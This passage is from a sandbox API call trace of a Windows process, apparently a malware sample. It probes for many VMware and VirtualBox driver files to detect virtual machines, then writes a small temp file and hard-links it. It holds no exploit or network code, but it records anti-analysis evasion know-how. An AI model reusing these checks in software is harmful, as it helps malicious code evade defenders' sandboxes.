	[0050.674] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dgl.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dgl.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.675] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dgl.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dgl.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.675] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmdum.dll" (normalized: "c:\\windows\\system32\\drivers\\vmdum.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.675] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmdum.dll" (normalized: "c:\\windows\\system32\\drivers\\vmdum.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.675] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dver.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dver.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.675] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vm3dver.dll" (normalized: "c:\\windows\\system32\\drivers\\vm3dver.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.675] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmtray.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtray.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.675] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmtray.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtray.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.675] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VMToolsHook.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtoolshook.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.675] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VMToolsHook.dll" (normalized: "c:\\windows\\system32\\drivers\\vmtoolshook.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.676] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmmousever.dll" (normalized: "c:\\windows\\system32\\drivers\\vmmousever.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.676] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmmousever.dll" (normalized: "c:\\windows\\system32\\drivers\\vmmousever.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.676] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmhgfs.dll" (normalized: "c:\\windows\\system32\\drivers\\vmhgfs.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.676] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmhgfs.dll" (normalized: "c:\\windows\\system32\\drivers\\vmhgfs.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.676] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmGuestLib.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlib.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.676] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\vmGuestLib.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlib.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.676] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VmGuestLibJava.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlibjava.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.676] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VmGuestLibJava.dll" (normalized: "c:\\windows\\system32\\drivers\\vmguestlibjava.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.676] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Driversvmhgfs.dll" (normalized: "c:\\windows\\system32\\driversvmhgfs.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.884] SetEvent (hEvent=0x120) returned 1
	[0050.884] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Driversvmhgfs.dll" (normalized: "c:\\windows\\system32\\driversvmhgfs.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.891] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc000150340, nSize=0x64 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0050.891] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxMouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxmouse.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.893] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxMouse.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxmouse.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.893] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxGuest.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxguest.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.894] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxGuest.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxguest.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxSF.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxsf.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.894] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxSF.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxsf.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxVideo.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxvideo.sys"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.894] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\Drivers\\VBoxVideo.sys" (normalized: "c:\\windows\\system32\\drivers\\vboxvideo.sys"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxdisp.dll" (normalized: "c:\\windows\\system32\\vboxdisp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.894] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxdisp.dll" (normalized: "c:\\windows\\system32\\vboxdisp.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxhook.dll" (normalized: "c:\\windows\\system32\\vboxhook.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.894] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxhook.dll" (normalized: "c:\\windows\\system32\\vboxhook.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxmrxnp.dll" (normalized: "c:\\windows\\system32\\vboxmrxnp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.894] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxmrxnp.dll" (normalized: "c:\\windows\\system32\\vboxmrxnp.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.894] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxogl.dll" (normalized: "c:\\windows\\system32\\vboxogl.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.895] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxogl.dll" (normalized: "c:\\windows\\system32\\vboxogl.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.895] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglarrayspu.dll" (normalized: "c:\\windows\\system32\\vboxoglarrayspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.895] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglarrayspu.dll" (normalized: "c:\\windows\\system32\\vboxoglarrayspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.895] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglcrutil.dll" (normalized: "c:\\windows\\system32\\vboxoglcrutil.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.895] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglcrutil.dll" (normalized: "c:\\windows\\system32\\vboxoglcrutil.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.895] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglerrorspu.dll" (normalized: "c:\\windows\\system32\\vboxoglerrorspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.895] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglerrorspu.dll" (normalized: "c:\\windows\\system32\\vboxoglerrorspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.895] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglfeedbackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglfeedbackspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.896] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglfeedbackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglfeedbackspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.896] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglpackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpackspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.896] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglpackspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpackspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.896] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\vboxoglpassthroughspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpassthroughspu.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a90 | out: lpFileInformation=0xc0000c9a90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0050.896] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\vboxoglpassthroughspu.dll" (normalized: "c:\\windows\\system32\\vboxoglpassthroughspu.dll"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0050.896] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetTempPathW") returned 0x7ffce91423e0
	[0050.896] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xc00013e240 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23
	[0050.896] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetCurrentProcessId") returned 0x7ffce9141e10
	[0050.896] GetCurrentProcessId () returned 0x110c
	[0050.896] GetCurrentProcessId () returned 0x110c
	[0050.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0050.898] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0xc0000c9b0c | out: lpMode=0xc0000c9b0c) returned 0
	[0050.898] GetFileType (hFile=0x12c) returned 0x1
	[0050.899] GetProcAddress (hModule=0x7ffce9120000, lpProcName="WriteFile") returned 0x7ffce9142570
	[0050.899] WriteFile (in: hFile=0x12c, lpBuffer=0xc000100380*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xc0000c9b34, lpOverlapped=0x0 | out: lpBuffer=0xc000100380*, lpNumberOfBytesWritten=0xc0000c9b34*=0x5, lpOverlapped=0x0) returned 1
	[0050.900] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CreateHardLinkW") returned 0x7ffce913f0f0
	[0050.900] CreateHardLinkW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp", lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127", lpSecurityAttributes=0x0) returned 1
	[0050.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a80 | out: lpFileInformation=0xc0000c9a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79ec91, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x1e79ec91, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x1e79ec91, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x5)) returned 1
	[0050.902] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9a80 | out: lpFileInformation=0xc0000c9a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e79ec91, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x1e79ec91, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x1e79ec91, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x5)) returned 1
	[0050.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.034530127"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x134
	[0050.902] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetFileInformationByHandle") returned 0x7ffce9142310
	[0050.902] GetFileInformationByHandle (in: hFile=0x134, lpFileInformation=0xc0000c9cd4 | out: lpFileInformation=0xc0000c9cd4) returned 1
	[0050.902] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CloseHandle") returned 0x7ffce9141ea0
	[0050.903] CloseHandle (hObject=0x134) returned 1
	[0050.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x134
	[0050.903] GetFileInformationByHandle (in: hFile=0x134, lpFileInformation=0xc0000c9cd4 | out: lpFileInformation=0xc0000c9cd4) returned 1
	[0050.903] CloseHandle (hObject=0x134) returned 1
	[0050.903] CloseHandle (hObject=0x12c) returned 1
	[0050.906] GetProcAddress (hModule=0x7ffce9120000, lpProcName="DeleteFileW") returned 0x7ffce9142130
